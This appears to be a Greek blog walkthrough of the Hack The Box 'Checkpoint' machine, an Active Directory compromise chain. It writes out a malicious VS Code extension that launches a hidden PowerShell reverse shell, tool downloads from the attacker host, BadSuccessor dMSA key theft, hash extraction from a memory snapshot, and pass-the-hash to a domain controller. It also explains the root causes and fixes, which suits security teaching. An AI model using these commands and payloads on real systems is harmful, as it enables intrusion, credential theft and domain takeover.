Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Checkpoint

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

Το Checkpoint είναι μια καθαρή αλυσίδα Active Directory χωρίς κανένα εκμεταλλεύσιμο CVE πουθενά μέσα της — κάθε βήμα είναι μια λάθος ρύθμιση που παραδίδει στο επόμενο. Ανοίγει σε ένα αντικείμενο που κανείς δεν θα έπρεπε να μπορεί να αγγίξει: έναν tombstoned (soft-deleted) χρήστη που ο αρχικός μας λογαριασμός μπορεί να αναζωογονήσει. Από εκεί περνάει μέσα από ένα κακόβουλο extension VS Code .vsix για εκτέλεση κώδικα, την ολοκαίνουρια κατάχρηση delegated-Managed-Service-Account BadSuccessor σε Server 2025, και τελειώνει κάπου ασυνήθιστο — τραβώντας το hash ενός domain administrator από ένα memory snapshot VMware που κάθεται σε ένα backup share, με volatility3. Είναι μια φοβερή περιήγηση στο "living off AD features" αντί για εκμετάλλευση bugs.
Checkpoint domain-compromise chain: alex.turner restores tombstoned Mark Davies, mark.davies drops a malicious VS Code vsix into DevDrop for a ryan.brooks shell and user.txt, BadSuccessor dMSA yields svc_deploy keys, svc_deploy reads a VMBackups vmem, volatility3 plus secretsdump recovers the Administrator hash, and pass-the-hash to DC01 gives root.txt
alex.turner → restore tombstone → mark.davies → malicious .vsix → ryan.brooks → BadSuccessor dMSA → svc_deploy → VMBackups .vmem → volatility3 + secretsdump → Administrator
Το box επιτιθέμενου εδώ είναι macOS, όχι Kali — αξίζει να το αναφέρω γιατί αναγκάζει δύο workarounds αργότερα: το tooling Windows AD τρέχει από venvs pipx, και το clock-skew του Kerberos δεν μπορεί να διορθωθεί με ntpdate χωρίς να αγγίξω το ρολόι συστήματος. Και τα δύο λύνονται inline παρακάτω.

Αναγνώριση

Μια πλήρης σάρωση TCP δείχνει την τυπική επιφάνεια domain-controller — το box ανακοινώνει τον εαυτό του ως DC01 στο checkpoint.htb, Windows Server 2025 (build 26100).

αναγνώριση
$ nmap -sC -sV -p- --min-rate 5000 <TARGET_IP> 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 5985/tcp open http Microsoft HTTPAPI (WinRM) ... $ echo '<TARGET_IP> checkpoint.htb dc01.checkpoint.htb dc01' | sudo tee -a /etc/hosts

Το box σου δίνει ένα αρχικό credential: alex.turner : Checkpoint2024!. Κάνει authenticate, οπότε πάμε κατευθείαν σε καταμέτρηση αντικειμένων.

nxc smb — έγκυρα creds
$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' SMB DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) SMB DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!

Αρχική Πρόσβαση — Αναζωογόνηση Tombstone

Όταν ένα αντικείμενο AD διαγράφεται δεν εξαφανίζεται αμέσως — γίνεται ένα tombstone: γυμνωμένο από τα περισσότερα attributes και μετακινημένο στο CN=Deleted Objects, όπου παραμένει για τη διάρκεια ζωής tombstone (180 μέρες by default) πριν το garbage collector το θερίσει. Αν μπορείς να γράψεις σε ένα tombstone, μπορείς να καθαρίσεις τη σημαία isDeleted του και να ορίσεις νέο distinguishedName — επαναφέροντάς το, attributes και όλα. Το get writable του bloodyAD δείχνει ότι ο alex.turner έχει ακριβώς εκείνο το δικαίωμα:

bloodyAD get writable
$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <TARGET_IP> get writable distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb DACL: WRITE distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,... permission: WRITE

Να το tombstone: ένας διαγραμμένος Mark Davies που μπορούμε να γράψουμε. Επανάφερέ τον σε μία κλήση:

bloodyAD set restore
$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <TARGET_IP> \ set restore "CN=Mark Davies\0ADEL:2217e877-...,CN=Deleted Objects,DC=checkpoint,DC=htb" [+] CN=Mark Davies\0ADEL:2217e877-... has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Ένας επαναφερμένος λογαριασμός κρατά το παλιό του password. Ο Mark μοιραζόταν το default του domain, και μπορεί να δει ένα ακόμα share από όσα μπορούσε ο alex:

nxc smb mark.davies --shares
$ nxc smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares [+] checkpoint.htb\mark.davies:Checkpoint2024! Share Permissions Remark ----- ----------- ------ DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 VMBackups (no access yet)
Ένα εγγράψιμο tombstone είναι μια λάθος ρύθμιση DACL στο CN=Deleted Objects. Τα δικαιώματα επαναφοράς θα έπρεπε να περιορίζονται σε μια ομάδα break-glass admin· το να τα δίνεις σε έναν κανονικό χρήστη μετατρέπει το "διαγράψαμε εκείνον τον λογαριασμό" σε "τον ξαναζωντανέψαμε, με το παλιό του password."

Foothold — Κακόβουλο Extension VS Code

Το ίδιο το remark του share DevDrop λέει την ιστορία: είναι ένας φάκελος drop για "εγκεκριμένα" extensions VS Code, engine 1.118.0. Κάτι στο box εγκαθιστά πακέτα .vsix που αφήνονται εδώ. Ένα extension VS Code είναι απλά ένα zip με ένα manifest και ένα entry point JavaScript, και το entry point τρέχει αυθαίρετο Node στο activation — οπότε ένα κακόβουλο extension είναι τετριμμένο RCE ενάντια σε όποιον το φορτώνει.

Το πακέτο είναι τέσσερα αρχεία: [Content_Types].xml, extension.vsixmanifest, και ένας φάκελος extension/ με package.json + extension.js. Το manifest δηλώνει το ταιριαστό engine· το package.json κάνει activate στο startup και δείχνει στον κώδικά μας· το extension.js γεννά ένα reverse shell:

extension/package.json + extension.js
// package.json "engines": { "vscode": "^1.118.0" }, "activationEvents": ["onStartupFinished"], "main": "./extension.js" // extension.js — runs the moment the editor finishes loading const cp = require('child_process'); function activate() { cp.exec('powershell -nop -w hidden -e <base64 reverse shell>'); } module.exports = { activate, deactivate: () => {} };

Κάν' το zip σε ένα .vsix, ξεκίνα έναν listener, και ρίξ' το στο share με την πρόσβαση εγγραφής του mark.davies:

πακετάρισμα & παράδοση
$ zip -r exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/ $ ncat -lvnp 4444 # listener $ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \ -c 'put exploit.vsix exploit.vsix'

Ένα λεπτό αργότερα ο editor του προσομοιωμένου operator φορτώνει το extension και καλεί πίσω — σαν ryan.brooks, στο ίδιο το DC01:

reverse shell
Ncat: Connection from <TARGET_IP>. PS C:\Program Files\Microsoft VS Code> whoami; hostname checkpoint\ryan.brooks DC01 PS ...> type C:\Users\ryan.brooks\Desktop\user.txt [redacted — user flag]
Το auto-installing "εγκεκριμένων" extensions από ένα εγγράψιμο share είναι όλο το bug — το trust boundary είναι το ACL του share, και είναι ορισμένο σε READ/WRITE για έναν επαναφέρσιμο λογαριασμό. Τα extensions είναι κώδικας· ένα share που μπορείς να γράψεις και τροφοδοτεί έναν editor είναι ένα primitive code-execution.

Privilege Escalation — BadSuccessor (κατάχρηση dMSA)

Το BadSuccessor είναι μια τεχνική Server-2025 του 2025 (του Yuval Gordon της Akamai) που κάνει κατάχρηση delegated Managed Service Accounts. Τα dMSAs προορίζονταν να αντικαταστήσουν legacy service accounts: συνδέεις ένα νέο dMSA με τον προκάτοχό του μέσω msDS-ManagedAccountPrecededByLink, σημαίνεις τη μετάβαση ολοκληρωμένη, και το KDC αφήνει το dMSA να κάνει authenticate με τα κλειδιά του προκατόχου ώστε τίποτα να μη σπάσει κατά τη μετάβαση. Η παγίδα: αν μπορείς να δημιουργήσεις ένα dMSA σε ένα OU που ελέγχεις, μπορείς να δείξεις εκείνο το link σε οποιονδήποτε λογαριασμό και το KDC θα σου δώσει τα κλειδιά του. Το module του netexec επιβεβαιώνει ότι ο ryan.brooks είναι έγκυρος principal για αυτό:

nxc ldap -M badsuccessor
$ nxc ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor BADSUCCESSOR [+] ryan.brooks (S-1-5-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb
BadSuccessor dMSA migration abuse: ryan.brooks with CREATE_CHILD on OU=DMSAHolder uses Rubeus tgtdeleg for a TGT then bloodyAD add badSuccessor to forge evilDMSA6 linked as the successor of svc_deploy, and the KDC packs svc_deploy's AES and RC4 keys into the returned TGS

Αποκτώντας ένα ticket χωρίς password

Το badSuccessor του bloodyAD χρειάζεται να κάνει authenticate σαν ryan.brooks — αλλά έχουμε μόνο ένα shell, όχι το password ή το hash του. Το Rubeus tgtdeleg το λύνει αυτό: κάνει κατάχρηση του Kerberos GSS-API delegation ώστε να κάνει το τοπικό session να παραδώσει ένα χρησιμοποιήσιμο TGT για τον τρέχοντα χρήστη, χωρίς να απαιτούνται secrets. Φιλοξενούμε το Rubeus μέσω HTTP, το τραβάμε μέσα στο shell, και το τρέχουμε:

Rubeus tgtdeleg (μέσα στο shell του ryan.brooks)
PS ...> iwr http://<LHOST>:8181/rubeus.exe -OutFile C:\Windows\Temp\rubeus.exe PS ...> C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap [+] Delegation request success! [*] base64(ticket.kirbi): doIF1DCCBdCgAwIBBaEDAgEWooIE0...

Μετέτρεψε το kirbi σε ένα ccache που το impacket/bloodyAD μπορούν να χρησιμοποιήσουν:

kirbi → ccache
$ base64 -d ryan.kirbi.b64 > ryan.kirbi $ ticketConverter.py ryan.kirbi ryan.ccache && export KRB5CCNAME=$PWD/ryan.ccache
Παρένθεση για το clock-skew του macOS: ο DC έτρεχε ~7 ώρες μπροστά, και το Kerberos απορρίπτει tickets έξω από ένα παράθυρο ±5 λεπτών. Σε Kali θα έκανες sudo ntpdate checkpoint.htb· δεν ήθελα να μετακινήσω το ρολόι του host. Το bloodyAD εντοπίζει το skew και αυτοδιορθώνεται ("Clock skew detected. Adjusting local time by 6:59:58. Retrying") — οπότε δεν χρειάστηκε διόρθωση για τα βήματα που έχουν σημασία. Για τα βήματα καθαρού-NTLM παρακάτω παρακάμπτω εντελώς το Kerberos.

Πλαστογραφώντας τον διάδοχο

Ο ryan μπορεί να γράψει μέσα στο OU=DMSAHolder, και προηγούμενη καταμέτρηση (bloodyAD get writable --right WRITE) έδειξε ότι έχει επίσης WRITE πάνω στο CN=svc_deploy — τον στόχο. Δημιούργησε το κακόβουλο dMSA συνδεδεμένο σαν διάδοχος του svc_deploy:

bloodyAD add badSuccessor
$ bloodyAD -k ccache=ryan.ccache -u ryan.brooks --dc-ip <TARGET_IP> \ --host dc01.checkpoint.htb -d checkpoint.htb \ add badSuccessor evilDMSA6 \ -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \ --ou "OU=DMSAHolder,DC=checkpoint,DC=htb" [+] dMSA TGT stored in ccache file evilDMSA6_ox.ccache dMSA previous keys (including keys of preceding managed accounts): RC4: e16081eb077aca74bdbf8af12af43ac9 ← svc_deploy's NT hash

Το KDC επέστρεψε τα κλειδιά του svc_deploy. Εκείνο το κλειδί RC4 είναι το hash NT του svc_deploy — που σημαίνει ότι μπορώ να αφήσω το Kerberos και απλά να κάνω pass-the-hash μέσω NTLM, αποφεύγοντας εντελώς το πρόβλημα clock-skew. Ο svc_deploy μπορεί να διαβάσει το VMBackups:

svc_deploy μέσω NT hash
$ nxc smb dc01.checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares [+] checkpoint.htb\svc_deploy:e16081eb... Share Permissions Remark ----- ----------- ------ VMBackups READ

Λάφυρα & Root — Credentials από ένα Memory Snapshot

Το VMBackups κρατά ένα νυχτερινό backup VMware ενός VM Windows Server 2019. Το ενδιαφέρον αρχείο είναι το .vmem — ένα memory snapshot VMware, δηλαδή ολόκληρη η RAM του guest τη στιγμή του snapshot, 2 GB από αυτήν:

περιεχόμενα VMBackups
\NightlyBackup_2024-11-01\memory forensics\ Windows Server 2019-Snapshot1.vmem 2147483648 # raw guest RAM Windows Server 2019-Snapshot1.vmsn 138164859 Windows Server 2019.vmdk 10199695360 $ smbclient //dc01.checkpoint.htb/VMBackups -U 'checkpoint.htb\svc_deploy' \ --pw-nt-hash e16081eb... -c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "...Snapshot1.vmem" snapshot.vmem'

Η RAM περιέχει τα registry hives όσο ένα μηχάνημα τρέχει. Το volatility3 τα σκαλίζει κατευθείαν από το image — SAM, SYSTEM και SECURITY είναι όλα όσα χρειαζόμαστε για να ανακατασκευάσουμε τα τοπικά secrets:

Memory forensics flow: svc_deploy reads a 2GB VMBackups vmem, volatility3 hivelist dump carves SAM SYSTEM SECURITY, impacket secretsdump LOCAL uses the SYSTEM bootKey to decrypt the SAM to the Administrator NT hash f29e9c01, which is reused for the live domain and pass-the-hash to DC01 returns Pwn3d
volatility3 — εξαγωγή των hives
$ vol -f snapshot.vmem windows.registry.hivelist.HiveList 0xc30a2fe38000 \REGISTRY\MACHINE\SYSTEM 0xc30a3278e000 \SystemRoot\System32\Config\SAM 0xc30a32789000 \SystemRoot\System32\Config\SECURITY $ vol -o lsass_dump -f snapshot.vmem windows.registry.hivelist.HiveList --dump

Με τα τρία hives στον δίσκο, το offline secretsdump χρησιμοποιεί το bootKey του SYSTEM για να κάνει decrypt το SAM και να τυπώσει τα τοπικά hashes λογαριασμών:

secretsdump LOCAL
$ secretsdump.py -sam registry.SAM....hive -system registry.SYSTEM....hive \ -security registry.SECURITY....hive LOCAL [*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::

Το τοπικό password Administrator του server που έγινε backup επαναχρησιμοποιήθηκε για τον domain Administrator. Pass-the-hash κατευθείαν στον ζωντανό DC:

pass-the-hash → DC01
$ nxc smb dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b [+] checkpoint.htb\Administrator:f29e9c01... (Pwn3d!) $ nxc smb dc01.checkpoint.htb -u Administrator -H f29e9c01... \ -x 'type C:\Users\max.palmer\Desktop\root.txt' [redacted — root flag]
Τα backups είναι δεδομένα production. Ένα memory snapshot είναι ένα plaintext αντίγραφο όλων όσων κρατούσε η μηχανή στη RAM — hives, tokens, κλειδιά — κάθεται σε ένα file share που διέπεται από κανονικά δικαιώματα NTFS. Κάνε encrypt τα backup stores, περιόρισε ποιος μπορεί να τα διαβάσει σε μια μικροσκοπική ομάδα, και πάνω απ' όλα μην επαναχρησιμοποιείς το ίδιο password local-admin σε όλο το estate — αυτή η μία επαναχρησιμοποίηση είναι που μετατρέπει το "διάβασε ένα παλιό backup" σε "πάρε το domain."

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
alex → markWRITE στο CN=Deleted Objects επιτρέπει σε έναν κανονικό χρήστη να αναζωογονήσει έναν tombstoned λογαριασμό με το παλιό του password (CWE-284)
mark → ryanΕγγράψιμο share τροφοδοτεί αυτόματα "εγκεκριμένα" extensions .vsix σε έναν editor — εγγράψιμο code path = RCE (CWE-732 / CWE-94)
ryan → svc_deployBadSuccessor: create-child σε ένα OU επιτρέπει σε ένα dMSA να διεκδικήσει διαδοχή οποιουδήποτε λογαριασμού και να κληρονομήσει τα κλειδιά του (κατάχρηση dMSA Server 2025)
svc_deploy → rootPassword domain-admin επαναχρησιμοποιημένο σαν local admin ενός member server, καταγεγραμμένο από ένα unencrypted memory snapshot σε αναγνώσιμο backup share (CWE-522 / CWE-259)

Βασικές εντολές

γρήγορη αναφορά
# 1. Επανάφερε το tombstone → mark.davies bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <IP> \ set restore "CN=Mark Davies\0ADEL:2217e877-...,CN=Deleted Objects,DC=checkpoint,DC=htb" # 2. RCE extension VS Code → ryan.brooks (user.txt) zip -r exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' -c 'put exploit.vsix' # 3. BadSuccessor → NT hash του svc_deploy rubeus.exe tgtdeleg /nowrap # μέσα στο shell· μετάτρεψε kirbi → ccache bloodyAD -k ccache=ryan.ccache -u ryan.brooks --host dc01.checkpoint.htb -d checkpoint.htb \ add badSuccessor evilDMSA6 -t "CN=svc_deploy,OU=ServiceAccounts,..." --ou "OU=DMSAHolder,..." # 4. VMBackups .vmem → volatility3 → secretsdump → Administrator smbclient //dc01.checkpoint.htb/VMBackups -U 'checkpoint.htb\svc_deploy' --pw-nt-hash <SVC_HASH> \ -c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "...Snapshot1.vmem" snapshot.vmem' vol -o out -f snapshot.vmem windows.registry.hivelist.HiveList --dump secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL # 5. Pass-the-hash → root.txt nxc smb dc01.checkpoint.htb -u Administrator -H <ADMIN_HASH> -x 'type C:\Users\max.palmer\Desktop\root.txt'
HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗